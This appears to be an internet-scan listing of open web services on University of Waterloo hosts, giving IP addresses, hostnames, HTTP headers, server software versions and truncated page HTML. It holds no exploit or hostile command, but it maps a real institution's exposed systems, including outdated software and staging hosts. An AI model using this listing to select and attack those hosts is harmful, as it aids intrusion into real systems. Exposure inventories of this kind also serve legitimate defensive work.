border: 0px 0px 0px;
}
div.table_of_contents {
clear: left;
min-width: 200px;
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.table_of_contents_item {
clear: left;
width: 100%;
margin: 4px 0px 0px 0px;
background-color: #FFFFFF;
color: #000000;
text-align: left;
}
div.table_of_contents_item a {
margin: 6px 0px 0px 6px;
}
div.content_section {
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.content_section_text {
padding: 4px 8px 4px 8px;
color: #000000;
font-size: 100%;
}
div.content_section_text pre {
margin: 8px 0px 8px 0px;
padding: 8px 8px 8px 8px;
border-width: 1px;
border-style: dotted;
border-color: #000000;
background-color: #F5F6F7;
font-style: italic;
}
div.content_section_text p {
margin-bottom: 6px;
}
div.content_section_text ul, div.content_section_text li {
padding: 4px 8px 4px 16px;
}
div.section_header {
padding: 3px 6px 3px 6px;
background-color: #8E9CB2;
color: #FFFFFF;
font-weight: bold;
font-size: 112%;
text-align: center;
}
div.section_header_red {
background-color: #CD214F;
}
div.section_header_grey {
background-color: #9F9386;
}
.floating_element {
position: relative;
float: left;
}
div.table_of_contents_item a,
div.content_section_text a {
text-decoration: none;
font-weight: bold;
}
div.table_of_contents_item a:link,
div.table_of_contents_item a:visited,
div.table_of_contents_item a:active {
color: #000000;
}
div.table_of_contents_item a:hover {
background-color: #000000;
color: #FFFFFF;
}
div.content_section_text a:link,
div.content_section_text a:visited,
div.content_section_text a:active {
background-color: #DCDFE6;
color: #000000;
}
div.content_section_text a:hover {
background-color: #000000;
color: #DCDFE6;
}
div.validator {
}
</style>
</head>
<body>
<div class="main_page">
<div class="page_header floating_element">
<img src="/icons/ubuntu-logo.png" alt="Ubuntu Logo" class="floating_element"/>
<span class="floating_element">
Apache2 Ubuntu Default Page
</span>
</div>
<!-- <div class="table_of_contents floating_element">
<div class="section_header section_header_grey">
TABLE OF CONTENTS
</div>
<div class="table_of_contents_item floating_element">
<a href="#about">About</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#changes">Changes</a>
</div>
<div class="table_of_contents_item floating_el
Open service 129.97.222.20:443 · margot.uwaterloo.ca
2026-01-23 13:12
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 13:07:19 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'self' https://arts.uwaterloo.ca; frame-ancestors 'self'; Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Location: https://uwaterloo.ca/margot/ Content-Length: 236 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/margot/">here</a>.</p> </body></html>
Open service 129.97.222.96:80 · www.sci.uwaterloo.ca
2026-01-23 12:53
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://www.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 12:54:02 GMT Content-Length: 0
Open service 129.97.222.96:443 · www.sci.uwaterloo.ca
2026-01-23 12:53
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Content-Length: 298 Content-Type: text/html; charset=iso-8859-1 Date: Fri, 23 Jan 2026 12:53:33 GMT Location: https://uwaterloo.ca/science Server: Apache/2.4.58 (Ubuntu) Via: 1.1 Caddy Connection: close Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://uwaterloo.ca/science">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at www.sci.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.140.196:443 · cscircles.uwaterloo.ca
2026-01-23 12:30
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 12:30:11 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 23-Jan-2027 12:30:12 GMT; Max-Age=31536000; path=/; secure X-Redirect-By: WordPress Location: https://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.140.196:80 · cemc1.math.uwaterloo.ca
2026-01-23 12:26
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 12:26:34 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 23-Jan-2027 12:26:34 GMT; Max-Age=31536000; path=/ X-Redirect-By: WordPress Location: http://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.50.135:443 · greenautopowertrain.uwaterloo.ca
2026-01-23 11:57
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 11:57:40 GMT
Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Tue, 06 Jan 2015 20:53:26 GMT
ETag: "1fbd-50c01ff9f2abc"
Accept-Ranges: bytes
Content-Length: 8125
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo
Content-Type: text/html
Page title: Green Auto Power
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/green_template.dwt" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Green Auto Power</title>
<script src="scripts/detect_flash_ie_addon.as" language="VBScript" type="text/vbscript"></script>
<script src="scripts/detect_flash.js" language="JavaScript1.1" type="text/javascript"></script>
<!-- InstanceEndEditable -->
<style type="text/css" media="screen, print">
@import url("!css/reset.css");
@import url("!css/green.css");
</style>
<!-- print stylesheet (as a bonus linking avoids FOUC in IE) -->
<link rel="stylesheet" type="text/css" media="print" href="!css/print.css" />
<!-- InstanceBeginEditable name="head" --><style type="text/css">
<!--
.style5 {
color: #FF0000;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style><!-- InstanceEndEditable -->
<!-- InstanceParam name="subnav" type="text" value="0" -->
<!-- InstanceParam name="frontpage" type="boolean" value="true" -->
</head>
<body>
<div id="container">
<div id="header">
<form action="http://info.uwaterloo.ca/clfscripts/uwsearch.php" method="post" name="searchform" id="searchform">
<input name="searchterm" type="text" id="searchterm" />
<input name="site" id="site" type="hidden" value="inkpotinc.ca)" />
<input type="submit" name="searchbutton" id="searchbutton" value="Search" />
</form>
<h1><a href="index.html"><img src="!images/template_images/logo.gif" width="191" height="86" alt="Green Auto Power" /></a></h1>
</div>
<div id="navgraphic">
<div id="nav">
<ul style="margin-bottom: 0">
<li>
<a href="/index.html">Home</a></li>
<li>
<a href="/about/index.html">About Us</a></li>
<li>
<a href="/investigators/index.html">Principal Investigators</a></li>
<li>
<a href="/impact/index.html">Commercialization and Impact</a></li>
<li>
<a href="/outreach/index.html">Youth Outreach</a></li>
<li>
<a href="/AGM/index.html">Annual General Meeting</a></li>
<li>
<a href="/links.html">Links</a></li>
<li>
<a href="/archive.html">News Archive</a></li>
<li>
<a href="/contact.html">Contact Us</a></li>
</ul>
</div>
<div id="banner"><!-- InstanceBeginEditable name="banner" -->
<script language="JavaScript" type="text/javascript">
<!--
/*
variables in order for "FlashCheck"
- Required "major" version of Flash
- Required "minor" version of Flash
- Required revision of Flash
- Filename of Flash document (path relative to this page)
- Flash loop setting (true/false)
- Flash object name (each object should have a unique name)
- Filename of alternative image (path relative to this page)
- Alt text for image
- Width of Flash document/alternative image (both should be created with the same dimensions)
- Height of Flash document/alternative image (both should be created with the same dimensions)
*/
FlashCheck (6,0,0,"!images/home_banner.swf","true","test","!images/home_banner_still.jpg","HSPRN",590,240)
// -->
</script>
<noscript>
<img src="../!images/home_banner_still.jpg" width="590" height="240" alt="HSPRN" />
</noscript>
<!-- InstanceEndEditable --></div>
<div id="whatsnew">
<h1>WHAT’S NEW</h1>
<!-- InstanceBeginEditable name="whats new" -->
<p><a href="http://pressroom.toyota.com
Open service 129.97.134.246:80 · www.mathnews.uwaterloo.ca
2026-01-23 11:39
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 11:39:36 GMT Server: Apache Expires: Fri, 23 Jan 2026 12:39:36 GMT Cache-Control: max-age=3600 X-Redirect-By: WordPress Location: http://mathnews.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.222.96:443 · testcreator-test.uwaterloo.ca
2026-01-23 10:44
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://testcreator.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 10:44:35 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · testcreator-test.uwaterloo.ca
2026-01-23 10:44
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://testcreator-test.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 10:45:04 GMT Content-Length: 0
Open service 129.97.152.229:443 · scs-math-rocketchat.cs.uwaterloo.ca
2026-01-23 10:13
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 10:13:02 GMT
Server: Apache/2.4.52 (Ubuntu)
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Security-Policy: default-src 'self' https://cdn.zapier.com; connect-src *; font-src 'self' https://cdn.zapier.com data:; frame-src *; img-src * data: blob:; media-src * data:; script-src 'self' 'unsafe-eval' 'sha256-jqxtvDkBbRAl9Hpqv68WdNOieepg8tJSYu1xIy7zT34=' 'sha256-aui5xYk3Lu1dQcnsPlNZI+qDTdfzdUv3fzsw80VLJgw=' https://cdn.zapier.com https://zapier.com; style-src 'self' 'unsafe-inline' https://cdn.zapier.com
X-Instance-ID: 151cb337-4b81-463e-a2c9-67abed5cb61d
Access-Control-Allow-Origin: *
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Page title: scs-math-rocketchat
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" class="__meteor-css__" href="/e37e3a526aace32e4ea71108fc18652f860ce79f.css?meteor_css_resource=true">
<script id="scripts" type="text/javascript" src="/scripts_887a5339b2625a8970658c4f5f9bd94f1067ab7a.js"></script>
<meta name="referrer" content="same-origin" />
<link rel="icon" sizes="16x16" type="image/png" href=/assets/favicon_16.png />
<link rel="icon" sizes="32x32" type="image/png" href=/assets/favicon_32.png />
<link rel="icon" sizes="any" type="image/svg+xml" href=/assets/favicon.svg />
<title>scs-math-rocketchat</title><meta name="application-name" content="scs-math-rocketchat"><meta name="apple-mobile-web-app-title" content="scs-math-rocketchat">
<meta http-equiv="content-language" content=""><meta name="language" content="">
<meta name="robots" content="INDEX,FOLLOW">
<meta name="msvalidate.01" content="">
<meta name="google-site-verification" content="">
<meta property="fb:app_id" content="">
<base href="/">
</head>
<body>
<noscript style="color: white; text-align:center">
You need to enable JavaScript to run this app.
</noscript>
<div id="react-root">
<div class="page-loading" role="alert" aria-busy="true" aria-live="polite" aria-label="loading">
<div class="loading__animation">
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
</div>
</div>
</div>
<style id='css-variables'> :root {}</style>
<script type="text/javascript" src="/meteor_runtime_config.js?hash=ecebc90b5ad01e70f2aa64b34e9e515d3ac74854"></script>
<script type="text/javascript" src="/3054b8907c5ff9acb854316cc540d0d364e126dc.js?meteor_js_resource=true"></script>
</body>
</html>
Open service 129.97.208.28:443 · lyncdiscover.uwaterloo.ca
2026-01-23 10:01
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Expires: -1
X-MS-Server-Fqdn: lync-w-fe2.NEXUS.UWATERLOO.CA
X-MS-Correlation-Id: 2149815176
client-request-id: ce3c449b-beec-4494-a2b3-cc68a1295ab9
X-Content-Type-Options: nosniff
Date: Fri, 23 Jan 2026 10:01:32 GMT
Connection: close
Content-Length: 356
{"_links":{"self":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/AutodiscoverService.svc/root?originalDomain=uwaterloo.ca"},"user":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/AutodiscoverService.svc/root/oauth/user?originalDomain=uwaterloo.ca"},"xframe":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/XFrame/XFrame.html"}}}
Open service 129.97.50.135:443 · b2p.uwaterloo.ca
2026-01-23 09:59
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 09:59:33 GMT
Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Fri, 15 Sep 2017 02:32:42 GMT
ETag: "c11-55931350f0680"
Accept-Ranges: bytes
Content-Length: 3089
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo
Content-Type: text/html
Page title: Bridges to Prosperity
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<title>Bridges to Prosperity</title>
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
<link href="css/main.css" rel="stylesheet" type="text/css" />
<link href="css/nav.css" rel="stylesheet" type="text/css" />
<link href="css/content.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="java/jquery-1.10.2.js"></script>
<style type="text/css">
a:hover {
color: #333;
}
body {
background-image: url(images/site/Backdrop.jpg);
background-repeat: repeat;
}
</style>
<!-- GOOGLE ANALYTICS CODE -->
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-53114724-1', 'auto');
ga('send', 'pageview');
</script>
<!-- End of GOOGLE ANALYTICS -->
</head>
<body id="homePage"><!--Change label to page name,refer to nav.css-->
<!--End of logo-->
<div id="maincontent">
<p><h6>ANNOUNCEMENT</h6><hr>
<div id="updatesmainbox">
<center>
<p></p>
<p><br/>
<br /><br /><br /><br /><br /><br />
</p>
</center>
</div>
<p>The University of Waterloo Bridges to Prosperity (UW B2P) chapter has disbanded as of January 2017.</p>
<p>We would like to thank our many sponsors and supporters who have helped our chapter over the years. Thanks to your generous support, our chapter has built three pedestrian bridges in Bolivia since 2013. Our bridges are enabling thousands access necessities such as healthcare, education, and markets.</p>
</p><br/>
<!-- scroll to top -->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.0/jquery.min.js"></script>
<a href="#" class="back-to-top"><strong>Back to Top</strong></a>
<script>
jQuery(document).ready(function() {
var offset = 420;
var duration = 500;
jQuery(window).scroll(function() {
if (jQuery(this).scrollTop() > offset) {
jQuery('.back-to-top').fadeIn(duration);
} else {
jQuery('.back-to-top').fadeOut(duration);
}
});
jQuery('.back-to-top').click(function(event) {
event.preventDefault();
jQuery('html, body').animate({scrollTop: 0}, duration);
return false;
})
});
</script>
<!-- end of scroll to top -->
</div><!--End of maincontent-->
</div><!--End of container-->
</body><!--End of body-->
</html>
Open service 129.97.50.135:80 · chemsoc.uwaterloo.ca
2026-01-23 09:55
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 09:55:55 GMT
Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Fri, 11 May 2018 02:43:54 GMT
ETag: "1ea3-56be51b5aff73"
Accept-Ranges: bytes
Content-Length: 7843
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo
Content-Type: text/html
Page title: Chemical Engineering Society | University of Waterloo
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Chemical Engineering Society | University of Waterloo</title>
<style type="text/css" media="screen">
@import url("http://www.uwaterloo.ca/css/UWblank.css");
#primarynavarea a:hover {
background-color: #eeeeee;
border: 1px solid #cccccc;
padding: 2px;
}
#primarycontarea h1 { /* highest order in content -- default styles TBD -- override in custom.css */
font-size:120%;
margin-top: 0px;
margin-bottom: 3px;
padding: 0 0 2px 0;
}
#recentposters a {
background-color: #FFFFFF;
border: none;
padding: 0;
margin: 0;
}
#recentposters a:hover {
background-color: #FFFFFF;
border: none;
padding: 0;
margin:0;
}
</style>
<style type="text/css" media="screen">
@import url("http://www.uwaterloo.ca/css/UWhome.css");
</style>
<style type="text/css" media="screen">
@import url("http://www.uwaterloo.ca/css/UW2col.css");
</style>
<style type="text/css" media="screen">
@import url("http://www.uwaterloo.ca/css/UW3col.css");
</style>
<!-- conditional comment added for IE 6 printing, IE 5.5 will not print this page very well -->
<!--[if IE 6]>
<style type="text/css">
@import url("http://www.uwaterloo.ca/css/UWprint.css") print;
</style>
<![endif]--><!-- this print will work in W3 Standard compliant browsers -->
<style type="text/css">
@import url("http://www.uwaterloo.ca/css/UWprint.css") print;
</style>
<meta http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<meta http-equiv=Content-Language content=en-us><!-- fill in below according to your site -->
<meta content="University of Waterloo Chemical Engineering Sociery" name=description>
<meta content="Chemical, Engineering, University, Waterloo" name=keywords>
<meta content="ChemEngSoc" name=author><!-- do not edit below meta please DO NOT DELETE THIS -->
<meta content="Design - Jesse Rodgers (jrodgers@admmail.uwaterloo.ca)"
name=author>
<meta content="Copyright (c) 2004-2005 University of Waterloo" name=Copyright>
<meta content="XHTML Version 1.0 http://web.uwaterloo.ca/documentation/clforgeeks/v1p0.html" name=version>
<!-- optional regions -->
<!-- TemplateParam name="collageplacement" type="boolean" value="true" -->
<!-- TemplateParam name="twocolumn" type="boolean" value="true" -->
<!-- TemplateParam name="threecolumn" type="boolean" value="true" -->
<!-- TemplateParam name="topictitle" type="boolean" value="false" -->
<!-- TemplateParam name="secondnavright" type="boolean" value="true" -->
<!-- TemplateParam name="link1sub" type="boolean" value="false" -->
<!-- TemplateParam name="link2sub" type="boolean" value="false" -->
<!-- TemplateParam name="link3sub" type="boolean" value="false" -->
<meta content="MSHTML 6.00.2900.2627" name="generator">
</head>
<body>
<!-- header -->
<div id="header">
<div id="clfbar">
<div id="uwlogo">
<a href="http://www.uwaterloo.ca/">
<img src="images/uwlogo1.png" alt="Link to the University of Waterloo home page" height=70 width=70 border=0>
</a>
</div>
<div id="searchbox">
<!-- form script is located on info, there are options though. Information is at http://web.uwaterloo.ca/clftemplate/search.html -->
<form lang=en id=search dir=ltr title=search name=search action=http://www.uwaterloo.ca/apps/php/phpsearch.php method=post target=_blank>
<input type=radio checked value=google name=searchtype> uwaterloo.ca
<input class=google id=searchterm accessKey=s tabIndex=2 name=searchterm>
<input class=google id=submit tabIndex=3 type=submit value=Search name=submit>
</form>
</div>
<!-- This is the department/faculty/site title - currently it is an image, options explained at http://web.uwaterloo.ca/documentation/clforgeeks/headerexplained.html -->
<div id="wordmark">
<h1><a href="http://www.uwaterloo.ca/">
<!-- replace title image with your own DO NOT FORGET ALT TAG!!! -->
<img height=30 alt="Chemical Engineering Society | University of Waterloo" src="images/title.png" width=400 border=0>
</a></h1>
Open service 129.97.140.196:443 · cscircles.cemc.uwaterloo.ca
2026-01-23 09:20
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 09:20:49 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 23-Jan-2027 09:20:49 GMT; Max-Age=31536000; path=/; secure Link: <https://cscircles.cemc.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Link: <https://cscircles.cemc.uwaterloo.ca/wp-json/wp/v2/pages/94>; rel="alternate"; type="application/json" Link: <https://cscircles.cemc.uwaterloo.ca/>; rel=shortlink Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.222.96:443 · imagine.uwaterloo.ca
2026-01-23 08:43
HTTP/1.1 401 Unauthorized Alt-Svc: h3=":443"; ma=2592000 Server: Caddy Www-Authenticate: Basic realm="restricted" Date: Fri, 23 Jan 2026 08:43:30 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · imagine.uwaterloo.ca
2026-01-23 08:43
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://imagine.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 08:43:59 GMT Content-Length: 0
Open service 129.97.222.96:80 · scion-stage.uwaterloo.ca
2026-01-23 08:04
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://scion-stage.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 08:05:04 GMT Content-Length: 0
Open service 129.97.222.96:443 · scion-stage.uwaterloo.ca
2026-01-23 08:04
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://scion-stage.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 08:04:35 GMT Content-Length: 0 Connection: close
Open service 129.97.50.139:443 · www.ofis.uwaterloo.ca
2026-01-23 07:49
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 07:49:09 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.1.1h-freebsd PHP/7.4.13 Cache-Control: private, max-age=0, must-revalidate Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Powered-By: PHP/7.4.13 X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo referer: https://ofis.uwaterloo.ca Content-Length: 85 Content-Type: text/html; charset=UTF-8 <meta http-equiv='Refresh' content='0;URL=OFIS/'>^M <a href="ofis/">OFIS</a><br />^M
Open service 129.97.179.11:443 · envmon.uwaterloo.ca
2026-01-23 07:15
HTTP/1.1 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: no-store Content-Type: text/html; charset=UTF-8 Date: Fri, 23 Jan 2026 07:15:07 GMT Strict-Transport-Security: max-age=15768000 Via: 1.1 Caddy X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Connection: close Transfer-Encoding: chunked
Open service 129.97.50.135:80 · mca.uwaterloo.ca
2026-01-23 06:35
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 06:35:48 GMT
Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Mon, 26 Oct 2015 01:10:10 GMT
ETag: "8493-522f79f6a2f74"
Accept-Ranges: bytes
Content-Length: 33939
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo
Content-Type: text/html
Page title: MCAKW Student Chapter
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>MCAKW Student Chapter</title>
<link href='http://fonts.googleapis.com/css?family=Varela+Round' rel='stylesheet' type='text/css'>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="http://netdna.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css" rel="stylesheet">
<link href="css/flexslider.css" rel="stylesheet" >
<link href="css/styles.css" rel="stylesheet">
<link href="css/queries.css" rel="stylesheet">
<link href="css/animate.css" rel="stylesheet">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body id="top">
<header id="home">
<nav>
<div class="container-fluid">
<div class="row">
<div class="col-md-8 col-md-offset-2 col-sm-8 col-sm-offset-2 col-xs-8 col-xs-offset-2">
<nav class="pull">
<ul class="top-nav">
<li><a href="#intro">ABOUT US <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#features">PARTNER ASSOCIATIONS <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#responsive">SPONSOR US <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#portfolio">EVENTS <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#team">EXECUTIVE TEAM <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
<li><a href="#contact">GET IN TOUCH <span class="indicator"><i class="fa fa-angle-right"></i></span></a></li>
</ul>
</nav>
</div>
</div>
</div>
</nav>
<section class="hero" id="hero">
<div class="container">
<div class="row">
<div class="col-md-12 text-right navicon">
<a id="nav-toggle" class="nav_slide_button" href="#"><span></span></a>
</div>
</div>
<div class="row">
<div class="col-md-8 col-md-offset-2 text-center inner">
<h1 class="animated fadeInDown">MCAKW Student Chapter</h1>
<h3 class="animated fadeInUp delay-05s">Connecting Students
with Local Industry</h3>
<p>...</p>
<p class="animated fadeInUp delay-1s">The Mechanical Contractors Association of Kitchener Waterloo Student Chapter is a student run club at The University of Waterloo.
In the spirit of our university's world famous co-operative education program, we connect students with local industry.</p>
</div>
</div>
<div class="row">
<div class="col-md-6 col-md-offset-3 text-center">
<a href="https://www.facebook.com/groups/MCAKW/" class="learn-more-btn">Connect with us</a>
</div>
</div>
</div>
</section>
</header>
<section class="intro text-center section-padding" id="intro">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 wp1">
<h1 class="arrow">ABOUT US</h1>
<p>The Mechanical Contractors Association of Kitchener Waterloo Student Chapter is a student run club at The Universit
Open service 129.97.152.225:443 · rocketchat.cs.uwaterloo.ca
2026-01-23 06:32
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 06:32:05 GMT
Server: Apache/2.4.52 (Ubuntu)
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Security-Policy: default-src 'self' https://cdn.zapier.com; connect-src *; font-src 'self' https://cdn.zapier.com data:; frame-src *; img-src * data: blob:; media-src * data:; script-src 'self' 'unsafe-eval' 'sha256-jqxtvDkBbRAl9Hpqv68WdNOieepg8tJSYu1xIy7zT34=' 'sha256-aui5xYk3Lu1dQcnsPlNZI+qDTdfzdUv3fzsw80VLJgw=' https://cdn.zapier.com https://zapier.com; style-src 'self' 'unsafe-inline' https://cdn.zapier.com
X-Instance-ID: 0f39f831-36a9-459d-a48b-8ac9d7c86507
Access-Control-Allow-Origin: *
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Connection: close
